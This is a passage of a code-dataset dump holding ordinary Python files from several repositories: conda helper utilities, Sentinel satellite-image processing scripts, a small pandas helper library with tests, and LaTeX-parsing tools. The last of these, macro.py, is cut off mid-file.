expression or package name.\n full_name : bool, optional\n If ``True``, only search for full names, i.e., ``^<regex>$``.\n\n Returns\n -------\n dict\n Dictionary mapping each matched package name to the corresponding\n package version information, including containing ``'name'``,\n ``'version'``, and ``'build'``.\n '''\n # Match package name(s) to filenames in `<prefix>/conda-meta` according to\n # [Conda package naming conventions][conda-pkg-name].\n #\n # [conda-pkg-name]: https://conda.io/docs/user-guide/tasks/build-packages/package-naming-conv.html\n cre_package = re.compile(r'^(?P<package_name>.*)-(?P<version>[^\\-]+)'\n r'-(?P<build_string>[^\\-])+$')\n if full_name:\n regex = '^{}$'.format(regex)\n\n version_dicts = {}\n\n for json_file_i in conda_prefix().joinpath('conda-meta').files('*.json'):\n file_match_i = cre_package.match(json_file_i.namebase)\n if not file_match_i:\n # Unrecognized file name format.\n continue\n elif not re.match(regex, file_match_i.group('package_name')):\n # Package name does not match specified regular expression.\n continue\n package_info_i = json.loads(json_file_i.text())\n version_dicts[package_info_i['name']] = package_info_i\n\n return version_dicts\n" }, { "alpha_fraction": 0.583905816078186, "alphanum_fraction": 0.5878311991691589, "avg_line_length": 34.13793182373047, "blob_id": "61ac75da9927f33ca4f1b8571cf7e6ebe88ea293", "content_id": "4185d02e2e03c3794ceef343c2548d10354c5f94", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3057, "license_type": "permissive", "max_line_length": 76, "num_lines": 87, "path": "/conda_helpers/_async_py35.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import, print_function, unicode_literals\nfrom functools import partial\nfrom shutil import get_terminal_size\nimport asyncio\nimport io\nimport itertools as it\nimport subprocess as sp\nimport sys\n\nimport colorama as co\n\n\nasync def _read_stream(stream, callback=None, buffer_size=None):\n while True:\n data = await stream.read(buffer_size or 1)\n if data:\n if callback is not None:\n callback(data)\n else:\n break\n\n\nasync def run_command(cmd, *args, **kwargs):\n '''\n .. versionchanged:: 0.18\n Display wait indicator if ``verbose`` is set to ``None`` (default).\n '''\n shell = kwargs.pop('shell', True)\n verbose = kwargs.pop('verbose', True)\n buffer_size = kwargs.pop('buffer_size', io.DEFAULT_BUFFER_SIZE)\n\n if isinstance(cmd, list):\n cmd = sp.list2cmdline(cmd)\n _exec_func = (asyncio.subprocess.create_subprocess_shell\n if shell else asyncio.subprocess.create_subprocess_exec)\n process = await _exec_func(cmd, *args, stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE)\n stdout_ = io.StringIO()\n stderr_ = io.StringIO()\n\n terminal_size = get_terminal_size()\n message = [co.Fore.MAGENTA + 'Executing:', co.Fore.WHITE + cmd]\n if sum(map(len, message)) + 2 > terminal_size.columns:\n cmd_len = terminal_size.columns - 2 - sum(map(len, ('...',\n message[0])))\n message[1] = co.Fore.WHITE + cmd[:cmd_len] + '...'\n waiting_indicator = it.cycle(r'\\|/-')\n\n cmd_finished = asyncio.Event()\n\n async def display_status():\n '''\n Display status while executing command.\n '''\n # Update no faster than `stderr` flush interval (if set).\n update_interval = 2 * getattr(sys.stderr, 'flush_interval', .2)\n\n while not cmd_finished.is_set():\n print('\\r' + co.Fore.WHITE + next(waiting_indicator), *message,\n end='', file=sys.stderr)\n await asyncio.sleep(update_interval)\n\n print('\\r' + co.Fore.GREEN + 'Finished:', co.Fore.WHITE + cmd,\n file=sys.stderr)\n\n def dump(output, data):\n text = data.decode('utf8')\n if verbose:\n print(text, end='')\n output.write(text)\n\n if verbose is None:\n # Display status while executing command.\n status_future = asyncio.ensure_future(display_status())\n\n await asyncio.wait([_read_stream(process.stdout, partial(dump, stdout_),\n buffer_size=buffer_size),\n _read_stream(process.stderr, partial(dump, stderr_),\n buffer_size=buffer_size)])\n\n # Notify that command has completed execution.\n cmd_finished.set()\n if verbose is None:\n # Wait for status to display \"Finished: ...\"\n await status_future\n return_code = await process.wait()\n return return_code, stdout_.getvalue(), stderr_.getvalue()\n" }, { "alpha_fraction": 0.5664944052696228, "alphanum_fraction": 0.571661651134491, "avg_line_length": 28.65322494506836, "blob_id": "e820f611965454ac17f3b26a5f4a2bbaa375d2bc", "content_id": "4e449a736e977f59b58450301dbbb666afa87154", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3677, "license_type": "permissive", "max_line_length": 79, "num_lines": 124, "path": "/conda_helpers/asyncio_util.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "# coding: utf-8\n'''\n.. versionadded:: 0.21\n'''\nfrom __future__ import absolute_import, print_function, unicode_literals\nfrom functools import wraps\nimport logging\nimport platform\nimport sys\nimport threading\n\nif sys.version_info <= (3, 4):\n import trollius as asyncio\n\n from ._async_py27 import run_command\nelse:\n import asyncio\n\n from ._async_py35 import run_command\n\n\n__all__ = ['new_file_event_loop', 'ensure_event_loop', 'with_loop', 'asyncio',\n 'run_command']\n\nlogger = logging.getLogger(__name__)\n\n\ndef new_file_event_loop():\n '''\n .. versionadded:: 0.15\n\n\n Returns\n -------\n asyncio.BaseEventLoop\n Event loop capable of monitoring file IO events, including ``stdout``\n and ``stderr`` pipes. **Note that on Windows, the default event loop\n _does not_ support file or stream events. Instead, a\n :class:`ProactorEventLoop` must explicitly be used on Windows. **\n '''\n return (asyncio.ProactorEventLoop() if platform.system() == 'Windows'\n else asyncio.new_event_loop())\n\n\ndef ensure_event_loop():\n '''\n .. versionadded:: 0.15\n\n\n Get existing event loop or create a new one if necessary.\n\n Returns\n -------\n asyncio.BaseEventLoop\n '''\n try:\n loop = asyncio.get_event_loop()\n except RuntimeError as e:\n if 'There is no current event loop' in str(e):\n loop = new_file_event_loop()\n asyncio.set_event_loop(loop)\n else:\n raise\n return loop\n\n\ndef with_loop(func):\n '''\n .. versionadded:: 0.15\n\n\n Decorator to run function within an asyncio event loop.\n\n .. notes::\n Uses :class:`asyncio.ProactorEventLoop` on Windows to support file I/O\n events, e.g., serial device events.\n\n If an event loop is already bound to the thread, but is either a)\n currently running, or b) *not a :class:`asyncio.ProactorEventLoop`\n instance*, execute function in a new thread running a new\n :class:`asyncio.ProactorEventLoop` instance.\n '''\n @wraps(func)\n def wrapped(*args, **kwargs):\n loop = ensure_event_loop()\n\n thread_required = False\n if loop.is_running():\n logger.debug('Event loop is already running.')\n thread_required = True\n elif all([platform.system() == 'Windows',\n not isinstance(loop, asyncio.ProactorEventLoop)]):\n logger.debug('`ProactorEventLoop` required, not `%s`'\n 'loop in background thread.', type(loop))\n thread_required = True\n\n if thread_required:\n logger.debug('Execute new loop in background thread.')\n finished = threading.Event()\n\n def _run(generator):\n loop = ensure_event_loop()\n try:\n result = loop.run_until_complete(asyncio\n .ensure_future(generator))\n except Exception as e:\n finished.result = None\n finished.error = e\n else:\n finished.result = result\n finished.error = None\n finished.set()\n thread = threading.Thread(target=_run,\n args=(func(*args, **kwargs), ))\n thread.daemon = True\n thread.start()\n finished.wait()\n if finished.error is not None:\n raise finished.error\n return finished.result\n\n logger.debug('Execute in exiting event loop in main thread')\n return loop.run_until_complete(func(**kwargs))\n return wrapped\n" }, { "alpha_fraction": 0.5970149040222168, "alphanum_fraction": 0.5986732840538025, "avg_line_length": 27.714284896850586, "blob_id": "2503417f0257040035921f0fa6e30fdd256c1a56", "content_id": "9f0c17870e9302554a958197c5677c92e52d1a10", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 603, "license_type": "permissive", "max_line_length": 72, "num_lines": 21, "path": "/setup.py", "repo_name": "mkdryden/conda-helpers", "src_encoding": "UTF-8", "text": "import sys\n\nimport setuptools as st\n\nsys.path.insert(0, '.')\nimport versioneer\n\n\nst.setup(name='conda-helpers',\n version=versioneer.get_version(),\n cmdclass=versioneer.get_cmdclass(),\n description='Add description here.',\n keywords='',\n author='Christian Fobel',\n author_email='[email protected]',\n url='https://github.com/sci-bots/conda-helpers',\n license='BSD',\n packages=['conda_helpers'],\n install_requires=['colorama', 'joblib', 'path-helpers', 'six'],\n # Install data listed in `MANIFEST.in`\n include_package_data=True)\n" } ]
9
sustr4/Sentinel_tutorial
https://github.com/sustr4/Sentinel_tutorial
9f815b74cdc6cc6f8933e58e6ff20e9388ff0068
a529710855708165aa69328f85a7c2be7274775a
d60ea8232b4b5b616480c11fd80accdee2e4d8f8
refs/heads/main
2023-09-02T07:09:09.139570
2021-11-08T11:10:00
2021-11-08T11:10:00
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.617621123790741, "alphanum_fraction": 0.6220264434814453, "avg_line_length": 29.70270347595215, "blob_id": "c830ab7f7c0c6a47bea3c37bceff1a18a3d1f957", "content_id": "55648426732c07daae86187532db085e34de5d66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1135, "license_type": "no_license", "max_line_length": 118, "num_lines": 37, "path": "/image_clip.py", "repo_name": "sustr4/Sentinel_tutorial", "src_encoding": "UTF-8", "text": "\"\"\"\nThis function clipped all images in specified folder according to the geojson file and save output to specified folder\n\"\"\"\n\n\nimport os\nimport fiona\nimport rasterio\nfrom rasterio.mask import mask\n\ndef clipper(image_path, geojson, new_folder):\n file_list = os.listdir(image_path)\n file_list.sort()\n\n # use fiona to open our map ROI GeoJSON\n with fiona.open(geojson) as f:\n aoi = [feature[\"geometry\"] for feature in f]\n \n # Load every image from the list\n k = 0\n for image in file_list:\n with rasterio.open(image_path + image) as img:\n clipped, transform = mask(img, aoi, crop=True)\n \n meta = img.meta.copy()\n \n meta.update({\"driver\": \"GTiff\", \"transform\": transform,\"height\":clipped.shape[1],\"width\":clipped.shape[2]})\n \n # Save clipped images in the file\n new_fold = new_folder + file_list[k][file_list[k].rfind('_')+1:file_list[k].rfind('.')] + '.tif'\n \n with rasterio.open(new_fold, 'w', **meta) as dst:\n dst.write(clipped)\n \n k += 1\n \n print(\"All clipped images are saved in {} folder!\".format(new_folder))" }, { "alpha_fraction": 0.48491084575653076, "alphanum_fraction": 0.5205761194229126, "avg_line_length": 28.775510787963867, "blob_id": "10002c51f7d66a2ef1b351ec01c4e3637cc6538c", "content_id": "c9655826e9e234b8ede078326d3631cb3fd2373a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 102, "num_lines": 49, "path": "/use_functions.py", "repo_name": "sustr4/Sentinel_tutorial", "src_encoding": "UTF-8", "text": "# Useful functions\n\nimport numpy as np\nimport rasterio\nfrom rasterio.coords import BoundingBox\n\ndef reverse_coordinates(pol):\n \"\"\"\n Reverse the coordinates in pol\n Receives list of coordinates: [[x1,y1],[x2,y2],...,[xN,yN]]\n Returns [[y1,x1],[y2,x2],...,[yN,xN]]\n \"\"\"\n return [list(f[-1::-1]) for f in pol]\n\ndef to_index(wind_):\n \"\"\"\n Generates a list of index (row,col): [[row1,col1],[row2,col2],[row3,col3],[row4,col4],[row1,col1]]\n \"\"\"\n return [[wind_.row_off,wind_.col_off],\n [wind_.row_off,wind_.col_off+wind_.width],\n [wind_.row_off+wind_.height,wind_.col_off+wind_.width],\n [wind_.row_off+wind_.height,wind_.col_off],\n [wind_.row_off,wind_.col_off]]\n\ndef generate_polygon(bbox):\n \"\"\"\n Generates a list of coordinates: [[x1,y1],[x2,y2],[x3,y3],[x4,y4],[x1,y1]]\n \"\"\"\n return [[bbox[0],bbox[1]],\n [bbox[2],bbox[1]],\n [bbox[2],bbox[3]],\n [bbox[0],bbox[3]],\n [bbox[0],bbox[1]]]\n\ndef pol_to_np(pol):\n \"\"\"\n Receives list of coordinates: [[x1,y1],[x2,y2],...,[xN,yN]]\n \"\"\"\n return np.array([list(l) for l in pol])\n\ndef pol_to_bounding_box(pol):\n \"\"\"\n Receives list of coordinates: [[x1,y1],[x2,y2],...,[xN,yN]]\n \"\"\"\n arr = pol_to_np(pol)\n return BoundingBox(np.min(arr[:,0]),\n np.min(arr[:,1]),\n np.max(arr[:,0]),\n np.max(arr[:,1]))" }, { "alpha_fraction": 0.6005788445472717, "alphanum_fraction": 0.6150506734848022, "avg_line_length": 28.4255313873291, "blob_id": "c3b29bb741c04e3c0c2aea8548aef8cd995aef16", "content_id": "fbae198fb61e26fda632ea48489b183421a47b1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1382, "license_type": "no_license", "max_line_length": 140, "num_lines": 47, "path": "/bbox_converter.py", "repo_name": "sustr4/Sentinel_tutorial", "src_encoding": "UTF-8", "text": "\"\"\" \nConverts coordinates as BoundingBox from GPS coorodinates (latitude/longitude - epsg:4326) from geojson file to any chosen epsg projection \nand saving these new coordinates to the new geojson file (new_file)\n\"\"\"\n\nimport json\nimport geojson\nimport rasterio\nfrom rasterio import warp\nfrom use_functions import generate_polygon, pol_to_bounding_box\n\ndef bbox_converter(file, new_file, epsg):\n # Loading coordinates lat/long\n with open(file) as f:\n gj = geojson.load(f)\n \n cord = gj['features'][0]['geometry']['coordinates']\n\n k = 0\n cord_list = [[0] for i in range(len(cord[0]))]\n for i in range(len(cord)):\n for j in range(len(cord[0])):\n cord_list[k] = cord[i][j]\n k += 1\n\n bbox = pol_to_bounding_box(cord_list)\n \n bounds_trans = warp.transform_bounds({'init': 'epsg:4326'},\"epsg:\"+str(epsg),*bbox)\n pol_bounds_trans = generate_polygon(bounds_trans)\n \n k = 0\n n = 1\n m = len(pol_bounds_trans)\n matrix_coord = [[0]*m for i in range(n)]\n for cor in pol_bounds_trans:\n matrix_coord[0][k] = pol_bounds_trans[k]\n k += 1\n \n with open(file, 'r') as f:\n data = json.load(f)\n\n data['features'][0]['geometry']['coordinates'] = matrix_coord\n \n with open(new_file, 'w+') as f:\n json.dump(data, f)\n \n print(\"The file {} has been saved!\".format(new_file))" }, { "alpha_fraction": 0.564876139163971, "alphanum_fraction": 0.5847436785697937, "avg_line_length": 35.40178680419922, "blob_id": "afd3832aeac5f765e6ed06509ad89b7096aaa043", "content_id": "bba3a9802403d02669f705a9f41e53804f3bdd31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4077, "license_type": "no_license", "max_line_length": 98, "num_lines": 112, "path": "/image_functions.py", "repo_name": "sustr4/Sentinel_tutorial", "src_encoding": "UTF-8", "text": "\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport rasterio\nfrom pathlib import Path\nfrom rasterio.enums import Resampling\nfrom rasterio.plot import adjust_band\n\ndef load_sentinel_image(img_folder, bands):\n image = {}\n path = Path(img_folder)\n for band in bands:\n file = img_folder + band + \".tif\" \n #print(f'Opening file {file}')\n ds = rasterio.open(file)\n image.update({band: ds.read(1)})\n\n return image\n\ndef display_rgb(img, b_r, b_g, b_b, alpha=1., figsize=(10, 10)):\n rgb = np.stack([img[b_r], img[b_g], img[b_b]], axis=-1)\n rgb = rgb/rgb.max() * alpha\n plt.figure(figsize=figsize)\n plt.imshow(rgb)\n plt.axis(\"off\")\n \ndef image_rgb(img, b_r, b_g, b_b, alpha=1.):\n rgb = np.stack([img[b_r], img[b_g], img[b_b]], axis=-1)\n rgb = adjust_band(rgb)\n rgb = rgb/rgb.max() * alpha\n return rgb\n\ndef resampling_20(folder, file, new_folder):\n upscale_factor = 2\n \n with rasterio.open(folder + file) as dataset:\n # resample data to target shape\n data = dataset.read(out_shape=(dataset.count,\n int(dataset.height * upscale_factor),\n int(dataset.width * upscale_factor)\n ),\n resampling=Resampling.cubic)\n # scale image transform\n transform = dataset.transform * dataset.transform.scale(\n (dataset.width / data.shape[-1]),\n (dataset.height / data.shape[-2])\n )\n \n resample = data.reshape(data.shape[0]*(data.shape[1], data.shape[0]*data.shape[2]))\n res_del = np.delete(resample,0,1)\n \n new_array = np.asarray(res_del).reshape(1,res_del.shape[0], res_del.shape[1])\n \n meta = dataset.meta.copy()\n \n meta.update({ \"transform\": transform, \"height\":new_array.shape[1],\"width\":new_array.shape[2]})\n \n with rasterio.open(new_folder+file, 'w+', **meta) as dst:\n dst.write(new_array)\n \n return new_array \n\ndef resampling_60(folder, file, new_folder):\n upscale_factor = 6\n \n with rasterio.open(folder + file) as dataset:\n # resample data to target shape\n data = dataset.read(out_shape=(dataset.count,\n int(dataset.height * upscale_factor),\n int(dataset.width * upscale_factor)\n ),\n resampling=Resampling.cubic)\n # scale image transform\n transform = dataset.transform * dataset.transform.scale(\n (dataset.width / data.shape[-1]),\n (dataset.height / data.shape[-2])\n )\n \n resample = data.reshape(data.shape[0]*(data.shape[1], data.shape[0]*data.shape[2]))\n res_del = np.delete(resample,range(0,4),0)\n res_del = np.delete(res_del,range(0,7),1)\n \n new_array = np.asarray(res_del).reshape(1,res_del.shape[0], res_del.shape[1])\n \n meta = dataset.meta.copy()\n \n meta.update({ \"transform\": transform, \"height\":new_array.shape[1],\"width\":new_array.shape[2]})\n \n with rasterio.open(new_folder+file, 'w+', **meta) as dst:\n dst.write(new_array)\n \n return new_array \n\ndef normalized_difference(img, b1, b2, eps=0.0001):\n band1 = np.where((img[b1]==0) & (img[b2]==0), np.nan, img[b1])\n band2 = np.where((img[b1]==0) & (img[b2]==0), np.nan, img[b2])\n \n return (band1 - band2) / (band1 + band2)\n\ndef plot_masked_rgb(red, green, blue, mask, color_mask=(1, 0, 0), transparency=0.5, brightness=2):\n \n # to improve our visualization, we will increase the brightness of our values\n red = red / red.max() * brightness\n green = green / green.max() * brightness\n blue = blue / blue.max() * brightness\n \n red = np.where(mask==True, red*transparency+color_mask[0]*(1-transparency), red)\n green = np.where(mask==True, green*transparency+color_mask[1]*(1-transparency), green)\n blue = np.where(mask==True, blue*transparency+color_mask[2]*(1-transparency), blue)\n \n rgb = np.stack([red, green, blue], axis=2)\n \n return rgb" }, { "alpha_fraction": 0.6017915606498718, "alphanum_fraction": 0.6180781722068787, "avg_line_length": 29.649999618530273, "blob_id": "c9f46436ecb98a70e18cf8f09674ccfd71867c50", "content_id": "a0751a1a3caf2a246a6b4564cacc28d85d8ed306", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1228, "license_type": "no_license", "max_line_length": 125, "num_lines": 40, "path": "/coordinates_converter.py", "repo_name": "sustr4/Sentinel_tutorial", "src_encoding": "UTF-8", "text": "\"\"\" \nConverts coordinates from GPS coorodinates (latitude/longitude - epsg:4326) from geojson file to any chosen epsg projection \nand saving these new coordinates to the new geojson file (new_file)\n\"\"\"\n\nimport pyproj\nimport geojson\nimport json\n\ndef coor_converter(file, new_file, epsg):\n # Transformation from GPS coordinates to desired epsg projection\n transformer = pyproj.Transformer.from_crs(\"epsg:4326\",\"epsg:\"+str(epsg))\n \n # Open geojson file with GPS coordinates\n with open(file) as f:\n gj = geojson.load(f)\n \n # Load coordinates from geojson file\n cdnts = gj['features'][0]['geometry']['coordinates']\n \n # Transformation of coordinates\n k = 0\n n = len(cdnts)\n m = len(cdnts[0])\n trans_coord = [[0]*m for i in range(n)]\n for i in range(len(cdnts)):\n for j in range(len(cdnts[0])):\n [x1, y1] = cdnts[i][j]\n trans_coord[0][k] = transformer.transform(y1, x1)\n k += 1\n \n with open(file, 'r') as f:\n data = json.load(f)\n\n data['features'][0]['geometry']['coordinates'] = trans_coord\n \n with open(new_file, 'w+') as f:\n json.dump(data, f)\n \n print(\"The file {} has been saved!\".format(new_file))\n " } ]
5
Nolanole/lambdata
https://github.com/Nolanole/lambdata
3c8bac0a106bed10b87b430964f56bf39b42ecef
6e982e0cf4e4108c412bb0f50ee87130de0ecc03
20f3abc16ebccb96709817ebd96111a1b799c1ed
refs/heads/master
2022-12-10T00:12:33.646167
2019-05-30T16:52:47
2019-05-30T16:52:47
188,493,237
0
0
MIT
2019-05-24T22:12:02
2019-05-30T16:52:58
2022-12-08T05:16:52
Python
[ { "alpha_fraction": 0.4913793206214905, "alphanum_fraction": 0.5603448152542114, "avg_line_length": 32.14285659790039, "blob_id": "8ccacb3d9cb7601256f7293ac053735bb6735a0b", "content_id": "9965d67139aeb8554e799ae5c4c7554017469b79", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 696, "license_type": "permissive", "max_line_length": 78, "num_lines": 21, "path": "/lambdata_Nolanole/helper_functions_unittest.py", "repo_name": "Nolanole/lambdata", "src_encoding": "UTF-8", "text": "from helper_functions import date_split\nimport pandas as pd \nimport unittest\n\n\nclass Date_split_test(unittest.TestCase):\n \n def test_date_split(self):\n df = pd.DataFrame([[1,'9/23/1998'], [2,'8/30/1999'], [3,'1/1/2010']], \n columns=['event', 'date'])\n df = date_split(df, date_cols=['date'])\n self.assertEqual(len(df.columns), 5) \n def test_keep_date_cols(self):\n df = pd.DataFrame([[1,'9/23/1998'], [2,'8/30/1999'], [3,'1/1/2010']], \n columns=['event', 'date'])\n df = date_split(df, date_cols=['date'], keep_date_cols=False)\n self.assertEqual(len(df.columns), 4)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.8297872543334961, "alphanum_fraction": 0.8297872543334961, "avg_line_length": 22.5, "blob_id": "2e4c5b6f2dc61d7068be97b71dba664a7b2d6e49", "content_id": "178bbcd48fb8666bd5094ebf8d2edeee2acacbf8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 47, "license_type": "permissive", "max_line_length": 35, "num_lines": 2, "path": "/README.md", "repo_name": "Nolanole/lambdata", "src_encoding": "UTF-8", "text": "# lambdata\nuseful library of helpful functions\n" }, { "alpha_fraction": 0.6292135119438171, "alphanum_fraction": 0.6312564015388489, "avg_line_length": 29.53125, "blob_id": "dec37bf266c8dda74c6055c9159655a05b5705e4", "content_id": "063174bf3ec9fe8b482053f3d6e89c9ae6969246", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 979, "license_type": "permissive", "max_line_length": 88, "num_lines": 32, "path": "/lambdata_Nolanole/helper_functions.py", "repo_name": "Nolanole/lambdata", "src_encoding": "UTF-8", "text": "def date_split(X, date_cols, keep_date_cols=True):\n '''\n Function to split a date feature in pandas dataframe and create 3 new features,\n day, month, and year\n '''\n import pandas as pd\n X = X.copy() \n for col in date_cols:\n X[col] = pd.to_datetime(X[col], infer_datetime_format=True)\n X[col + '_year'] = X[col].dt.year\n X[col + '_month'] = X[col].dt.month\n X[col + '_day'] = X[col].dt.day\n if keep_date_cols:\n return X\n else:\n return X.drop(columns=date_cols)\n\ndef check_nulls(X):\n '''\n Checks a pandas dataframe for nulls, prints a report stating how many null\n observations per feature (only of features that contain nulls)\n '''\n nulls = False\n for col in X.columns:\n col_nulls = X[col].isna().sum()\n if col_nulls != 0:\n nulls = True\n print('The ' + str(col) + ' feature has ' + str(col_nulls) + ' null observations')\n else: \n continue\n if not nulls:\n print('The dataframe does not contain any null observations')\n\n\n" } ]
3
Freakwill/texparsing
https://github.com/Freakwill/texparsing
cd00f316b6cd90b92bb55d5f317b6cd71790d377
5439e1cadba0839fe7ed896a1400ef2e47f05ea0
205e912c760310472c599775bad1c7d8f95dbe33
refs/heads/master
2020-03-29T11:36:11.406475
2019-04-02T02:48:14
2019-04-02T02:48:14
149,860,956
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5229358077049255, "alphanum_fraction": 0.5296080112457275, "avg_line_length": 21.05769157409668, "blob_id": "ee2d72de1a8397533f67c2496c6d02c2bc9197d7", "content_id": "079a123b5f3430ef1657ae2db1940b75b59593cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2398, "license_type": "no_license", "max_line_length": 95, "num_lines": 104, "path": "/texextract.py", "repo_name": "Freakwill/texparsing", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\r\n\r\n'''myfile.texfile1\r\n\r\nto extract data from tex files\r\n-------------------------------\r\nPath: mywork\\myfile\\texfile1.py\r\nAuthor: William/2015-07-27\r\n'''\r\n\r\nimport basic\r\nimport re\r\nfrom texfile import *\r\nimport mystr\r\n\r\nCMD='\\\\\\\\'+WORD\r\nCMDX=CMD+'(?:\\{.*?\\})*'\r\n\r\ndef cmdx(m=0,n=9):\r\n return CMD+'(?:\\{.*?\\}){%d,%d}'%(m,n)\r\n\r\nCMD_='(?<!\\\\\\\\)(?:\\\\\\\\\\\\\\\\)*('+CMD+')' # (?![a-zA-Z])\r\nCMDX_='(?<!\\\\\\\\)(?:\\\\\\\\\\\\\\\\)*('+CMDX+')'\r\nrxCMD=re.compile(CMD_)\r\nrxCMDX=re.compile(CMDX_)\r\nrxNEWCMD=re.compile('\\\\\\\\[re]?newcommand\\{%s}'%CMD)\r\n\r\nENV='\\\\\\\\begin{(?P<name>%s)}(?P<option>\\[.*?\\])?(?P<content>.*?)\\\\\\\\end{(?P=name)}'%WORD\r\nrxENV=re.compile('(?<!\\\\\\\\)(?:\\\\\\\\\\\\\\\\)*'+ENV,re.DOTALL)\r\n\r\ndef rxenv(name=WORD):\r\n ENV='\\\\\\\\begin{(?P<name>%s)}(?P<option>\\[.*?\\])?(?P<content>.*?)\\\\\\\\end{(?P=name)}'%name\r\n return re.compile('(?<!\\\\\\\\)(?:\\\\\\\\\\\\\\\\)*'+ENV,re.DOTALL)\r\n\r\nDOLLAR='\\$.+?\\$'\r\nDDOLLAR='\\$\\$.*?\\$\\$'\r\nrxDOLLAR=re.compile(DOLLAR,re.DOTALL)\r\nrxDDOLLAR=re.compile(DDOLLAR,re.DOTALL)\r\n\r\nEQUATION='\\\\\\\\\\\\[.*?\\\\\\\\\\\\]'\r\nrxEQUATION=re.compile(EQUATION,re.DOTALL)\r\n \r\nCOMMENT='%.*'\r\nrxCOMMENT=re.compile(COMMENT)\r\n\r\ndef findrx(fname,rx):\r\n '''fname: tex file name\r\n'''\r\n with open(fname+'.tex') as fo:\r\n m=rx.findall(fo.read())\r\n return m\r\n\r\n\r\ndef findrx2(fname,rx):\r\n '''fname: tex file name\r\n'''\r\n with open(fname+'.tex') as fo:\r\n ms=[(rx.findall(line), k) for k, line in enumerate(fo.readline(),1) if rx.findall(line)]\r\n return ms\r\n\r\ndef findcmd(fname):\r\n '''fname: tex file name\r\n'''\r\n return findrx(fname,re.compile(CMD_))\r\n\r\ndef findcmdx(fname):\r\n '''fname: tex file name\r\n'''\r\n return findrx(fname,re.compile(CMDX_))\r\n\r\ndef findnewcmd(fname):\r\n return findrx(fname, rxNEWCMD)\r\n\r\ndef findenv(fname,name=WORD):\r\n '''fname: tex file name\r\nreturn a list of tuple (name,option,content)\r\n'''\r\n return findrx(fname,rxenv(name))\r\n\r\ndef finddol(fname):\r\n '''fname: tex file name\r\n'''\r\n return findrx(fname,rxDOLLAR)\r\n\r\n'''\r\nclass myClass(parent):\r\n # myClass\r\n def __init__(self):\r\n parent.__init__(self)\r\n \r\n def method(self):\r\n body\r\n'''\r\n\r\n# test\r\nfname='nlsms'\r\nwith open(fname+'.tex') as fo:\r\n for k, line in enumerate(fo.readlines(),1):\r\n print(line)\r\n m=re.compile('\\\\\\\\S(?![a-zA-Z])').findall(line)\r\n if m:\r\n print(k,m)\r\n x=input()\r\n" }, { "alpha_fraction": 0.5118554830551147, "alphanum_fraction": 0.517241358757019, "avg_line_length": 33.99763488769531, "blob_id": "c6d8da3eeb7319030c1c5c2f84a2a4d035f2f4ca", "content_id": "c8d073f94c44e764260cb3bc13e83ceba3a3a563", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15225, "license_type": "no_license", "max_line_length": 262, "num_lines": 423, "path": "/macro.py", "repo_name": "Freakwill/texparsing", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n# macro.py\r\n# macro for python based on pyparsing\r\n# example: see the end of the file\r\n\r\nimport re\r\nimport pyparsing as pp\r\n\r\n\r\n# basic expressions\r\nIDEN = pp.Word(pp.alphas+'_', pp.alphanums+'_')\r\n_symbol = '-_[]<>%$^|{}*+/\\\\!~#?.,;:'\r\nSYMBLE = pp.Word(_symbol)\r\nLPAREN = pp.Suppress('(')\r\nRPAREN = pp.Suppress(')')\r\nLBRACE = pp.Suppress('{')\r\nRBRACE = pp.Suppress('}')\r\nSTAR = pp.Suppress('*')\r\nCOMMA = pp.Suppress(',')\r\nIDEXT = pp.Word(pp.alphas+_symbol, pp.alphanums + _symbol)\r\nIDS = pp.delimitedList(IDEN)\r\nVAR = IDEN('name')\r\nARGS = IDS('args') + pp.Optional(COMMA + STAR + IDEN('star')) | STAR + IDEN('star')\r\nDIGIT = pp.Word(pp.nums)\r\nNUMBER = DIGIT + pp.Optional('.' + DIGIT)\r\nWORD = pp.Word(pp.alphas)\r\nW = pp.Word(pp.alphanums)\r\nTEXCMD = '\\\\' + WORD\r\n\r\n\r\ndef termList(term=IDEN, n=1):\r\n if n==0:\r\n return pp.empty\r\n if n==1:\r\n return pp.Group(term)\r\n else:\r\n return (term + COMMA)*(n-1) + term\r\n\r\n# class for actions\r\nclass BaseAction:\r\n # base class for action-classes\r\n def __init__(self, tokens): # instring, loc,\r\n self.tokens = tokens\r\n #self.instring = instring\r\n #self.loc = loc\r\n\r\n def has(self, name):\r\n return name in self.tokens\r\n\r\n def __eq__(self, other):\r\n if isinstance(other, BaseAction):\r\n return self.tokens == other.tokens\r\n else:\r\n return self.tokens == other\r\n\r\n\r\nclass LHSAction(BaseAction):\r\n # base action class for left hand side of macro\r\n def __init__(self, tokens):\r\n super(LHSAction, self).__init__(tokens)\r\n if self.has_args():\r\n self.args = tokens.args\r\n else:\r\n self.args =[]\r\n if self.has_star():\r\n self.star = tokens.star[0]\r\n # basic methods\r\n def has_star(self):\r\n return self.has('star')\r\n\r\n def has_args(self):\r\n return self.has('args')\r\n\r\n def arity(self):\r\n return 